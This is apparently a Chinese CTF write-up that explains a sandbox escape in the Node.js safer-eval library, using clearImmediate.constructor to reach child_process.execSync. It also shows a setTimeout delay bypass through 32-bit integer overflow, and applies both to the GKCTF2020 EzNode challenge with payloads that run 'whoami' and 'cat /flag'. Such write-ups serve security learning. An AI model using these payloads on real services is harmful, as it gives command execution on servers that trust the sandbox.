0%

saferEval沙箱逃逸 and setTimeout 绕过

saferEval沙箱逃逸

 看名字就不难想到,他是一个安全eval函数,但是它有破解方法。【参考链接】

1
2
3
4
5
6
7
8
9
const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

则我们一般的payload为:

1
2
3
4
(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};)()

setTimeout 绕过

setTimeout ,它的格式是

setTimeout(要执行的代码 或者 js函数, 等待的毫秒数)

这边我们该注意的是,浏览器内部使用32位带符号的整数,来储存推迟执行的时间。这意味着setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行,即等同于setTimeout(f,0)的效果。
【参考链接】

[GKCTF2020]EZ三剑客-EzNode

很容易看到源码,我们挑关键的读:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

先是执行这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000; //设置delay初始值
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) { //将get传的delay转为int型
delay = Math.max(delay, parseInt(req.query.delay)); //从默认和我们传的值中选一个大的值
}
const t = setTimeout(() => next(), delay); //进行延迟执行函数,next下一个函数

setTimeout(() => { //这里开始也是一个延时执行,但它的延迟要比默认情况下的小
clearTimeout(t); //也就是默认情况它先执行
console.log('timeout');
try { //它会让我们直接退出
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

很显然我们要先执行什么面那个,才有可能得到flag,不然就直接退出了。我们只需要将delay的值大于2147483647 就可以了 我们传2147483648 就可绕过。

接着看:

1
2
3
4
5
6
7
8
9
10
11
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e); //尝试,执行安全的eval,如果不安全会报错
} catch (e) { //报错被这里捕获,就执行以下。
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

我们想要不被捕获不报错,我们可以使用上面说的沙箱逃逸,我们将post的e赋值为:

1
2
3
4
(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()

这样我们就得到了flag:


-------------本文结束感谢您的阅读-------------